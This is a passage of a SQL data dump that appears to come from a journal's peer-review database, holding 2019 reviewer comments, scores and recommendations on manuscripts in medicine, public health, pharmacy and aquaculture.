instances, the authors do that, still it is only in rare occasions. \r\nGenerally, the manuscript should be revised in terms of English writing. Many titles and subtitles present flagrant English mistakes that should always be prevented when submitting a manuscript. Aside from those, there are important grammar and verb conjugations that require correction along the abstract, materials and methods, results and discussion sections. \r\nThe conclusions section is missing. \r\nReferences 8, 10, 12, 15 and 16 are not complete. Please make sure you use the same references formatting along the entire section.  ','','2019-09-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'FALSE'),(587,7021,1998,NULL,'3','G','Y','Y','Y','This is such a important and interesting study about the gene expression profiling of Dengue virus. Table 1 may be revised with the explanation of DF-DHF-specific, DF-ND-specific and DHF-ND-specific pathways in the legend.','','2019-09-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'FALSE'),(626,6348,917,NULL,'4','R','N','Y','Y','The study provided a unique case of a death of a 55 yr old man due to stroke and carotid thrombosis. The importance of this case is that the patient only survived a little more than 3 yrs after his diagnosis, which is astonishing low compared to an average survival of 33 yrs for patients with ET less than 60 yrs of age. This raises the discussion of new prognostic markers may be needed, and the need to understand the pathogenesis of vascular thrombosis associated with JAK2V617F mutations. Overall, this is an interesting and important case that opens up a lot of questions.','','2019-09-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'FALSE'),(635,884,715,NULL,'3','4','3','4','3','Most of the under developed countries such as Ethiopia, Zimbabwe face this issue due to lack of awareness. As author explained brief about Ae. Aegypti and mostly occurs due to stagnant water. According to the research, water samples from different regions are taken and tested. Author concluded that immature Ae. Aegypti is found only in some parts and vectors can be used to avoid this. Overall the article is well written and explained with tables. The mean and p values are accurate. I accept it for publication. ',' ','2019-09-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'FALSE'),(636,882,820,NULL,'4','4','4','4','3','The present study investigates the Post-traumatic Stress Disorder among Orphans and Prevalence and Comorbidity with Depression. Using the statistics, data was briefly analyzed by varying on gender and age. Prevalence of PTSD varies from region to region. Traumatic events are more in orphans when compared with general population which will cause psychological disorders like PTSD.\r\nResults showed that the high prevalence of PTSD and concluded that there is a statistical diff between depressed and non-depressed participants. By using the formula, calculations were made, as per the research it proved that depression symptoms percentage is more in male when compared with female. \r\n','  ','2019-09-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'FALSE'),(637,887,1246,NULL,'4','4','4','4','4','According to the study, HIV positive is seen in males and due to some factors treatment has not been taking place. Mukono and Mengo hospitals are providing awareness and care services and following the gidelines of HIV. HIV patients should be enrolled in the hospital but it is taking time due to different reasons.  The research questions such as the time lag for enrolment and the challenges faced were explained in brief. ',' ','2019-09-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'FALSE'),(638,2207,1476,NULL,'3','3','3','4','3','According to the study, Infection is seen high in dental students due to the exposure of microorganisms. It is well known that few diseases will transfer during the treatment with dental instruments which cause infection. According to the guidelines of ICP, control measures have to be taken. In the tables, frequency and the mean percentage values are accurate. The article can be accepted for publication.  ',' ','2019-09-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'FALSE'),(639,2238,1676,NULL,'4','4','4','3','4','Training programs are essential for physical fitness among adolscent and as author stated that it is less in brazilian population. This can reduce the risk of cardiovascular diseases. Nahas stated that physical fitness and lifestyle can lead to healthy life. Neuromuscular changes are linked with the physical fitness due to the hormonal secretion. The p-values in the tables should be modified to <0.001 instead of <0,001. The median and intervals of different aspects such as coronary, age and the excretion varies based on the physical fitness of young women. ','  ','2019-09-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'FALSE'),(658,7418,2277,NULL,'5','R','Y','Y','y','Present stydy is good and new, however it can be more precisily studied by increasing sample size.There is scope for future study.','I have readed the article. It is significant study and paper discused the novel work. the present study provides new information to readers. So it can be accepted for publication.The present study provides new information. ','2019-09-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'FALSE'),(672,2238,2272,NULL,'3','3','4','3','3','Author has explained about the covariates that affects the vision. Samples from diabetic, hypertensive patients have been taken and performed the pathological tests. The percentages have been showed that eye problems are due to several factors. The chi square test concluded the mean values of different covariates. In the conclusion, it examined that vision problem is with age and diabetic conditions. Overall the article is well-written. ',' ','2019-09-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(673,1406,2273,NULL,'4','4','4','4','4','Title is unique and well explained. \r\nAbstract:\r\nIn the abstract author explained about the measures taken by nurses in order to control infection in dialysis unit by using NOTICE checklists.\r\nIntroduction:\r\nESRD is frequent in Egypt and it takes place 3 dialysis sessions per week so Nurses play an imp role to provide healthcare and control the infection transmission. \r\nResults: \r\nAs mentioned, most of the nurses are female and the age in between of 25-30 with the experience of 12 years. The fistula for initiation of dialysis taken by nurses is briefly explained in Figure 2.\r\nConclusion:\r\nNurses are important for patients to control the infection and to maintain the hygienic conditions. \r\n',' ','2019-09-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(680,4473,1673,NULL,'4','G','D','Y','N','1) At the introduction there is need for a small paragraph describing the way that integrated fish farming is working. Please also discuss the possible combinations of fish, animals and plants that are common in Nigeria (i.e. carps, hens, rice...).\r\n2) Please change the legend of figure 2 as : The 3-tier cage with the automatic drinker.\r\n3) At the sentence  \"(Pond A) was constructed to receive waste and maggot generated from poultry excreta, while (pond B) was made to receive waste and maggot produced from pig excreta.\", please remove brackets. \r\n4) Please change the sentence \"Sixty pieces of point of lay (POL) 16 weeks old dominant black breed of layer birds was stocked into the battery cage\" as \"Sixty pieces of point of lay (POL) 16 weeks old dominant black breed of layer birds was stocked into the 3-tier cage\". \r\n5)  At the paragraph \"Fish Ponds\" the authors refer that \". (Pond A) was constructed to receive waste and maggot generated from poultry excreta, while (pond B) was made to receive waste and maggot produced from pig excreta. An average of 5g (1000 pieces) and 10g (1120 pieces) Clarias gariepinus juvenile was stocked in pond A and B respectively\". \r\nAt the \"Fish, Rice and Pig Integration\" paragraph the authors refer that \"One thousand one hundred and twenty pieces of 10g average of Clarias gariepinus were gotten from a reputable fish farm in Ibadan and were stocked in pond A\". I think that the right pond name is B instead of A. \r\n6) At figures 6 and 7 at the x axis the weeks 10, 11 and 12 are not clearly showed. Please fix it. \r\n7) Table 3. Please clarify at the table title that the performance is per day.\r\n','','2019-09-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(694,7415,2277,NULL,'4','G','N','Y','Y','•	•	The topic is an interesting one.\r\n•	No highlights were found.\r\n•	Author needs to go through the entire manuscript, check  spelling, grammar, syntax and to assure that it is concise, correct , clear and punctual  \r\n•	“”The aim of this study was to compare laparoscopic retroperitoneal pyelolithotomy””. Author needs to change (was) to (is).\r\n•	The use of abbreviations like. VAS.... and others should be written in full the first time they are used in the manuscript.\r\n•	“”The characteristics which were compared between the two groups include operative time, intraoperative complications, hemorrhage requiring blood transfusion””. Hemorrhage is an intraoperative complication. Author needs to include this in intraoperative complications.\r\n•	“”Results: There was a stastiscally””. This needs to be changed to statistically.\r\nIntroduction\r\n•	“”The ideal procedure for large would be””. This needs to be c hanged to “”The ideal procedure to deal with large renal stones…..””.\r\n•	’””Despite the potential advantages, its rare usage.[7] Percutaneous nephrolithotomy (PCNL) currently remains the first-line treatment for large renal stones.””. This sentence is not clear, its rare usage? Remains first line of treatment? \r\nMaterials and methods\r\n•	The details of the two groups recruited in the study must be mentioned in the result in addition to what is mentioned in the table.\r\n•	 The exclusion and inclusion criteria were mentioned properly.\r\n•	VAS (Visual analogue scale) must be mentioned in the materials and methods\r\nDiscussion\r\n•	Author can conclude in discussion that the reported average operating time in LRP and PCNL group respectively in this study is comparative to the international results.\r\n•	Author can conclude in discussion that the average blood loss in this study is less than in other mentioned studies and that the number of patients required blood transfusion is less too.\r\n•	The same must be mentioned in relation to minor complications, major complications, the conversion rate, the clearance rate, the average analgesic requirement and the mean hospital stay.\r\nReferences\r\n•	References cited represent a good spread in terms of year of publication and number.\r\n•	Reference number 12, 14 were not cited in ascending manner in the manuscript.\r\n•	No written consent was found \r\n•	No Institute review board approval was found.\r\n•	Authors need to declare any conflict of interest.\r\n•	It will add to the manuscript if figures were added. This may include intraoperative pictures, CT pictures etc.\r\n\r\nGood luck\r\n\r\n \r\n','•	The topic is an interesting one.\r\n•	No highlights were found.\r\n•	Author needs to go through the entire manuscript, check  spelling, grammar, syntax and to assure that it is concise, correct , clear and punctual  \r\n•	“”The aim of this study was to compare laparoscopic retroperitoneal pyelolithotomy””. Author needs to change (was) to (is).\r\n•	The use of abbreviations like. VAS.... and others should be written in full the first time they are used in the manuscript.\r\n•	“”The characteristics which were compared between the two groups include operative time, intraoperative complications, hemorrhage requiring blood transfusion””. Hemorrhage is an intraoperative complication. Author needs to include this in intraoperative complications.\r\n•	“”Results: There was a stastiscally””. This needs to be changed to statistically.\r\nIntroduction\r\n•	“”The ideal procedure for large would be””. This needs to be c hanged to “”The ideal procedure to deal with large renal stones…..””.\r\n•	’””Despite the potential advantages, its rare usage.[7] Percutaneous nephrolithotomy (PCNL) currently remains the first-line treatment for large renal stones.””. This sentence is not clear, its rare usage? Remains first line of treatment? \r\nMaterials and methods\r\n•	The details of the two groups recruited in the study must be mentioned in the result in addition to what is mentioned in the table.\r\n•	 The exclusion and inclusion criteria were mentioned properly.\r\n•	VAS (Visual analogue scale) must be mentioned in the materials and methods\r\nDiscussion\r\n•	Author can conclude in discussion that the reported average operating time in LRP and PCNL group respectively in this study is comparative to the international results.\r\n•	Author can conclude in discussion that the average blood loss in this study is less than in other mentioned studies and that the number of patients required blood transfusion is less too.\r\n•	The same must be mentioned in relation to minor complications, major complications, the conversion rate, the clearance rate, the average analgesic requirement and the mean hospital stay.\r\nReferences\r\n•	References cited represent a good spread in terms of year of publication and number.\r\n•	Reference number 12, 14 were not cited in ascending manner in the manuscript.\r\n•	No written consent was found \r\n•	No Institute review board approval was found.\r\n•	Authors need to declare any conflict of interest.\r\n•	It will add to the manuscript if figures were added. This may include intraoperative pictures, CT pictures etc.\r\n\r\n\r\nThank you\r\n \r\n','2019-09-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(700,8796,1452,NULL,'5','g','y','y','y','Author choses a use full topic technical and economic efficiencies  assessment.  After comparing the technical and economic performances of gillnet types with different as against the usual same the  hanging ratios at the top and down ropes, with a standard gillnet of hanging ratio 0.5 at the top and down ropes. And the results showed that the gillnet types with different hanging ratios at the top and down ropes, recorded superior efficiencies over the gillnet types with same hanging ratios. It was concluded that different hanging ratios, at the top and down ropes, combined with slack netting constituted a superior intervention for enhancing technical and economic efficiencies of monofilament gillnets. The insignificant difference in the LFD of the Tilapiine species caught could be attributed to the absence of hard spines favoring capture by gilling by all the net types, over entangling, a property of only slack nets which could result in difference in the sizes of fish caught.  I recommend to publish the article.','Author choses a use full topic technical and economic efficiencies  assessment.  After comparing the technical and economic performances of gillnet types with different as against the usual same the  hanging ratios at the top and down ropes, with a standard gillnet of hanging ratio 0.5 at the top and down ropes. And the results showed that the gillnet types with different hanging ratios at the top and down ropes, recorded superior efficiencies over the gillnet types with same hanging ratios. It was concluded that different hanging ratios, at the top and down ropes, combined with slack netting constituted a superior intervention for enhancing technical and economic efficiencies of monofilament gillnets. The insignificant difference in the LFD of the Tilapiine species caught could be attributed to the absence of hard spines favoring capture by gilling by all the net types, over entangling, a property of only slack nets which could result in difference in the sizes of fish caught.  I recommend to publish the article.','2019-09-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(701,8796,1452,NULL,'5','g','y','y','y','Author choses a use full topic technical and economic efficiencies  assessment.  After comparing the technical and economic performances of gillnet types with different as against the usual same the  hanging ratios at the top and down ropes, with a standard gillnet of hanging ratio 0.5 at the top and down ropes. And the results showed that the gillnet types with different hanging ratios at the top and down ropes, recorded superior efficiencies over the gillnet types with same hanging ratios. It was concluded that different hanging ratios, at the top and down ropes, combined with slack netting constituted a superior intervention for enhancing technical and economic efficiencies of monofilament gillnets. The insignificant difference in the LFD of the Tilapiine species caught could be attributed to the absence of hard spines favoring capture by gilling by all the net types, over entangling, a property of only slack nets which could result in difference in the sizes of fish caught.  I recommend to publish the article.','Author choses a use full topic technical and economic efficiencies  assessment.  After comparing the technical and economic performances of gillnet types with different as against the usual same the  hanging ratios at the top and down ropes, with a standard gillnet of hanging ratio 0.5 at the top and down ropes. And the results showed that the gillnet types with different hanging ratios at the top and down ropes, recorded superior efficiencies over the gillnet types with same hanging ratios. It was concluded that different hanging ratios, at the top and down ropes, combined with slack netting constituted a superior intervention for enhancing technical and economic efficiencies of monofilament gillnets. The insignificant difference in the LFD of the Tilapiine species caught could be attributed to the absence of hard spines favoring capture by gilling by all the net types, over entangling, a property of only slack nets which could result in difference in the sizes of fish caught.  I recommend to publish the article.','2019-09-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(702,8796,2540,NULL,'5','g','y','y','y','Author selected the Porphyridium cruentum which acts as a good antihyperglycemic agent. \r\n\r\nIt is a type of red algae. This microalgae is usefull in many industries such as food, cosmetics, chemicals and pharmaceuticals. It contains alkaloids, flavonoids, and phenols. The method of harvesting is well described by using centrifugation, membrane filtration, and sedimentation. \r\n\r\nThis with the harvesting for P. cruentum is better using microfilration followed centrifugation. The methods used in this research are appropriate and results supported the research carried. For statistical analysis author used ANOVA test to compare among various treatments.\r\n\r\nI recommend to Publish','','2019-09-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(705,7415,2577,NULL,'1','r','N','n','n','•	What type of study is this?\r\n•	The study must be categorized to an abstract, introduction, material and methods, results, discussion and conclusion.\r\n•	There is no scientific base for what is mentioned in the manuscript. All what is written are quotations and invalid suggestions of a system with wrong speculations  \r\n•	References need to follow one style or one format.\r\n•	References included were either old or insufficient in terms of year of publication and number.\r\n•	There were no highlights.\r\n•	There were no figures \r\n•	Author needs to declare any. conflict of interests\r\n\r\nGood luck\r\n','•	What type of study is this?\r\n•	The study must be categorized to an abstract, introduction, material and methods, results, discussion and conclusion.\r\n•	There is no scientific base for what is mentioned in the manuscript. All what is written are quotations and invalid suggestions of a system with wrong speculations  \r\n•	References need to follow one style or one format.\r\n•	References included were either old or insufficient in terms of year of publication and number.\r\n•	There were no highlights.\r\n•	There were no figures \r\n•	Author needs to declare any. conflict of interests\r\n\r\n\r\nThank You\r\n','2019-09-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(709,7022,1863,NULL,'4','4','4','4','4','1.)	Overall the study provides vital information regarding the off-label indications seen with the studied drugs. This information will be of value for further usage of these drugs. Is the author’s aim for this paper to include some of these important off label indications into the labels.\r\n2.)	In this patient cohort did the author find any extreme outcomes such as death in some case.\r\n3.)	The author should provide a compiled information in a tabular format showing the off-label and on-label indications and their occurrence percentages for each of the drugs studied in this study. \r\n4.)	Did the author see any differences based on the age, were there increase in off-label indications with increase in the age? \r\n5.)	The author should provide a list of instructions for the prescribers to go over with the patients which will be beneficial for the patients such as risks of adverse effects including irreversible extrapyramidal symptoms etc.\r\n','','2019-09-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(710,7022,1863,NULL,'4','4','4','4','4','1.)	Overall the study provides vital information regarding the off-label indications seen with the studied drugs. This information will be of value for further usage of these drugs. Is the author’s aim for this paper to include some of these important off label indications into the labels.\r\n2.)	In this patient cohort did the author find any extreme outcomes such as death in some case.\r\n3.)	The author should provide a compiled information in a tabular format showing the off-label and on-label indications and their occurrence percentages for each of the drugs studied in this study. \r\n4.)	Did the author see any differences based on the age, were there increase in off-label indications with increase in the age? \r\n5.)	The author should provide a list of instructions for the prescribers to go over with the patients which will be beneficial for the patients such as risks of adverse effects including irreversible extrapyramidal symptoms etc.\r\n','','2019-09-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(721,8924,2274,NULL,'4','4','4','4','3','This article can be a reference for further studies. As described the prolactin secreted in a patient of sclerosis and is a sign of autoimmunity. Prolactin can be secreted more in these kinds of patients. The pituitary adenoma lesions modify its position and penetrates into different organs as displayed in figures. The case report is brief and well explained. ','','2019-10-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(722,8925,2582,NULL,'4','4','4','4','4','Bladder Outlet Obstruction is multi-aetiological and prostatic enlargement tops the list of pathologies causing BOO in adult male patients, followed by urethral structure. The aetiologies of BOO varies with age as shown in this study; while benign prostatic enlargement was commonly found in elderly patients and urethral structure was predominant in younger adults.','','2019-10-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(723,8926,2606,NULL,'4','4','4','4','3','This study stated that, caudate-to-right lobe ratio shows a very strong reliable parameter with a high reliability for diagnosing liver cirrhosis and other chronic liver diseases. The caudate-to-right lobe ratio of liver cirrhosis is high when compared with that of normal subjects and there was a difference in the caudate-to-right lobe ratio of subjects with suspected/established liver cirrhosis when compared with subjects with apparently normal liver.',' ','2019-10-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(727,8782,1457,NULL,'5','r','y','n','n','This is a very novel topic and has  a strong scientific basis.According to me there are no suggestions in the article.','-','2019-10-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(729,9035,2661,NULL,'2','R','N','Y','Y','1. The authors declared the importance of OPA in the dentistry procedures, but not in the osteosynthesis. Why the traumatic patients with facial cranial fractures were chosen? \r\n2. “Patients with medium and high risk of systemic infection were excluded from the study.” The exclusion criteria should be listed in detail. \r\n3. The strains of microorganisms were valued in at the beginning or the end of surgical procedure in traumatic and non-traumatic patients, but not in the group of OPA or without OPA. The validity of OPA could not be analyzed precisely. \r\n4. Four female and 29 male patients in traumatic patients, the sum traumatic patients were 43 in Table â… . \r\n5. The results should be analyzed and summarize to illuminate the relevance between microorganisms and interventions. \r\n','','2019-10-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(732,9182,2681,NULL,'6','g','y','y','n','Accept with minor corrections','Accept with minor corrections.','2019-10-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(733,9013,2696,NULL,'1','R','N','N','Y','Although it is an important observation, several studies have already demonstrated that the interaction of CBD with the CBL and other AEDs. The study has only one patient, more subjects would be better. Clobazam and its main metabolite last a long time in the body. The mean half-life for clobazam ranges 36 to 42 hours. The metabolite may last longer in the body, up to 82 hours. This might be reasoning that patient has recovered in 4 days when she stopped taking CLB. \r\nAbbreviations should provide for all short forms ex; BMP- basic metabolic panel, EEG- electroencephalogram etc.,\r\nOrder of references should match with the citations in the text.\r\n','In this manuscript, authors have reported a case study with only one patient and literature review of Clobazam and its derived metabolites toxicity related to its interaction with Cannabidiol. The interaction of CBD with Clobazam and its metabolite has previously been reported, including in a case series of 13 children. There are several studies demonstrated that the potential pharmacokinetic interactions of CBD not only with CBL but also with other AEDs such as Valproate, might be due to inhibitory effect of CBD on CYP enzymes that are responsible for metabolizing multiple AEDs. The observation is not a novel and has only one patient. Manuscript may not be acceptable.','2019-10-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(741,9025,2686,NULL,'5','G','Y','Y','n','No comments.','This is a nice paper that show the probable role of ecological niche as a key factor modulating virulence in Candida parapsilosis sensu stricto, potentially turning it into a pathobiont under Conditions of Oral Dysbiosis.','2019-10-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(744,7287,2623,NULL,'3','5','Y','Y','Y','Dear Author,\r\n\r\n\r\nThe manuscript is interesting, but I have some suggestions to publish:\r\n\r\na) It is necessary to complete the introduction, to deepen the proposed theme and to link the ideas;\r\n\r\nb) It has some formation mistakes;\r\n\r\nc) What was the size of the dialysis membrane used?\r\n\r\nd) Very poor quality of the figures (e.g. Fig 1, 3, 6, 7);\r\n\r\ne) Bibliographic errors:\r\n	- indication or not indication of volume and number – act in conformity;\r\n	- bibliography must obey rules:\r\n	- disorganization of references in the text;\r\n	- increase the bibliographic references\r\n\r\nf) very poor statistical results: \r\n	- What was the statistical analysis program used?\r\n	- statistical errors, presentation of results without standard deviation;\r\n\r\ng) poor conclusion\r\n\r\nAn interesting and pertinent article, but with little research and organization of results.\r\n\r\nBest regards,\r\n','Dear Editor,\r\n\r\nAccepted with major revisions (3).\r\n\r\n\r\nThe manuscript is interesting, but it is necessary to complete the introduction, increase results, formation mistakes (statistical, bibliographic, ...). \r\n\r\n\r\nBest regards,\r\nPatrícia Batista\r\n\r\n','2019-10-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(745,7287,2611,NULL,'2','3','3','3','2','Dear Author,\r\n\r\nIt would be interesting to present the results obtained in the preformulation studies: Pre-compression studies; Physical appearance; Solubility; Melting Point; Partition coefficient Studies.\r\n\r\nFormatting errors (Missing word spacing).\r\nWhat was the statistical program used?\r\n\r\nStability assays are missing, as well as, biocompatibility assays and simulation of the gastrointestinal tract, these are important studies to present in this manuscript.\r\n\r\nThere are already new models of controlled release, namely with the use of microparticles and nanoparticles, a further review of the literature would be interesting.\r\n\r\nFew bibliographic references throughout the manuscript.\r\n\r\n\r\nBest regards,\r\n','Dear Editor,\r\n\r\n2. Re-review after thoroughly revise as noted\r\n\r\nIt would be interesting to present the more results, more assays (biocompatibility assays, simulation of the gastrointestinal tract, stability tests).\r\n\r\nThere are already new models of controlled release, a further review of the literature would be interesting.\r\n\r\nBest regards,\r\nPatrícia Batista','2019-10-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(746,8794,2474,NULL,'4','G','N','Y','Y','authors report their experience  with iron support per os.\r\n\r\nThere are several spelling mistake in the text and a fast English revision may support them.\r\nThe abstract is more than 300 word and must be reviewed in length.\r\nThe excess of iron support may induce liver overload and haemolysis, authors should add a sentence in the discussion to suggest how to avoi or monitor this kind of complications.','The article on iron support may have great impact in the scientific community because the increasing number of chronic disease that may benefit of iron support as heart failure and kidney failure.\r\n\r\nAfter minor revision the article may be suitable for the journal','2019-10-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(747,8794,2474,NULL,'4','G','N','Y','Y','authors report their experience  with iron support per os.\r\n\r\nThere are several spelling mistake in the text and a fast English revision may support them.\r\nThe abstract is more than 300 word and must be reviewed in length.\r\nThe excess of iron support may induce liver overload and haemolysis, authors should add a sentence in the discussion to suggest how to avoi or monitor this kind of complications.','The article on iron support may have great impact in the scientific community because the increasing number of chronic disease that may benefit of iron support as heart failure and kidney failure.\r\n\r\nAfter minor revision the article may be suitable for the journal','2019-10-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(750,9133,2623,NULL,'4','R','Y','M','Y','1) Article is well written. However, the NMR spectra, IR spectra , UV Spectra and the histogram raw data must be clearly represented.\r\n2) Authors need to properly specify the parameters used (i.e. Refractive index of the dispersant, Refractive index of the material, viscosity of the material, Attenuation index etc.) adopted while measuring the nanocrystals in the zetasizer. \r\n3) Additionally, the authors must also determine the polymorphic state of the mefanamic acid nanocrystals formed as it is imperative property for evaluation.\r\n4) NMR spectra should be eloborated in detail. The present information is limited and does not provide the conclusive results.\r\n5) Drug release method should demonstrate the selectivity to different particle size of the nanocrystals. Prototype batches should be made for the associated nanocrystals and the resulting batches should be subjected to dissolution and the corresponding release profile should be demonstrated. ','','2019-10-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(751,9133,2611,NULL,'3','r','y','M','Y','1) The manuscript is well writtein. The authors should properly explain why some of the formulations were not carried forward for the dissolution and swelling index tests.\r\n2) The analysis of the Gabapentin from the dissolution should be carried out using the suitable validated chromatographic (HPLC) method. Accuracy, Precision and Reproducibility should be demonstrated for the dissolution methodology.\r\n3) Manufacturing process for the different formulations should be clearly explained.\r\n4) The objective of the study mentioned in the beginning of the manuscript and the conclusion are not in line. The authors should properly streamline the conclusion and the objective of the study in terms of the manuscript writeup.','','2019-10-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(752,9206,2673,NULL,'5','G','N','y','Y','Accept','The study discusses about the Primary healthcare during climate change specially in floods which is as global public health problem infectious disease outbreaks due to changing patterns of vector- and water- borne diseases reducing health risk.Author should have eloborated the use of building health cadres/ capacity for flood risk management . Overall the subject-matter is interesting and publishable, so you may go ahead and accept it','2019-10-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(758,5467,2754,NULL,'5','G','Y','Y','Y','--I ASK FOR FULL article pls.\r\n\r\ngood project\r\ngreat effort\r\n\r\ngood study\r\nevidenced research\r\n\r\nneeds adjusting spelling errors\r\n\r\n\r\nadjust abstract in form of background, methodology, results, conclusion\r\n\r\nreview references, adjust design, remove any bold or underlined\r\n\r\nadd conclusion, discussion as separate aspects after results\r\n\r\nclarify any conflicts','ask to send me full article pls','2019-10-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(766,9034,2686,NULL,'4','G','Y','Y','Y','The paper was good and is ready for publication. The results can analyzed once again and summarized.\r\n','','2019-10-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(767,7418,2577,NULL,'1','r','d','n','n','The present article is not as per the guidelines of the journal. The article doesnot specify the Aim and objectives. The motto is not specified. So resubmit in proper format. ','The present article is not as per the guidelines of the journal. The article doesnot specify the Aim and objectives. The motto is not specified. So resubmit in proper format. So present article should not be accepted for the publication.','2019-10-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(768,7418,2577,NULL,'1','d','D','Y','N','The present article is not as per the guidelines of the journal. The article doesnot specify the Aim and objectives. The motto is not specified. So resubmit in proper format. ','The present article is not as per the guidelines of the journal. The article doesnot specify the Aim and objectives. The motto is not specified. So resubmit in proper format. Not recommended for publication.','2019-10-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(769,7418,2693,NULL,'1','G','Y','Y','Y','Present Article is according to the norms of journal in proper format. Study is new and good conceptual.There is scope for further more precitional by taking more sample size and by case control method. ','Present Article is according to the norms of journal in proper format. Study is new and good conceptual.There is scope for further more precitional by taking more sample size and by case control method.  The article is self derscreptive and contains good numbers of charts and diagrams for better understanding to the readers. So i reccomend to accept the article for the publication.','2019-10-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(770,7418,2667,NULL,'1','G','Y','M','Y','The present study is new and informative. There is scope for furthur detail study by increase in sample size. ','The present article is according to the guidelines of the journal.The present study is new and informative. There is scope for furthur detail study by increase in sample size.  The article is self drescreptive and understandable. So It can be acccepted for publication.','2019-10-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(775,8796,2669,NULL,'5','r','y','y','n','It’s a good trail program with the diet change author choses the different percentages (25%, 50%, 75% and 100%) to in the feed and replaces the % feed with the fermented soybean meal for weight gain in Yellow Perch Perca flavescens. After using the Fermented Soybean Meal there is no difference in protein efficiency, viscerosomatic index, hepatosomatic index, Fulton-type condition, and muscle ratio were determined after the study. Hepatosomatic index and viscerosomatic index showed no impact by replacement of fishmeal. All fish feed actively on each diet formulation and showed no signs of nutritional deficiency. Although depressed growth was observed as FSBM increased, zero mortalities were observed during the study. Diet composition produced significant differences in weight gain and was negatively correlated with FSBM levels. By observing the results As FM in the diets decreased, EAA also decreased.  Over all the study was clearly mention all details i suggest to publish the article. ','','2019-10-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(777,663,630,NULL,'4','g','y','y','n','It\'s important topic and raised lots of attention recently. The author summerized the findings on addictive behaviors from related research articles and discussed the debates between addictive behaviors and other concepts, like excessive use. It will increase the novelty of this article if the author can discuss more the future of this field.','','2019-10-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(779,9537,2591,NULL,'4','g','d','y','y','1.)	The article Recent findings and development of 3D printing technology in pharmaceutical formulation development shows not much new to the world in 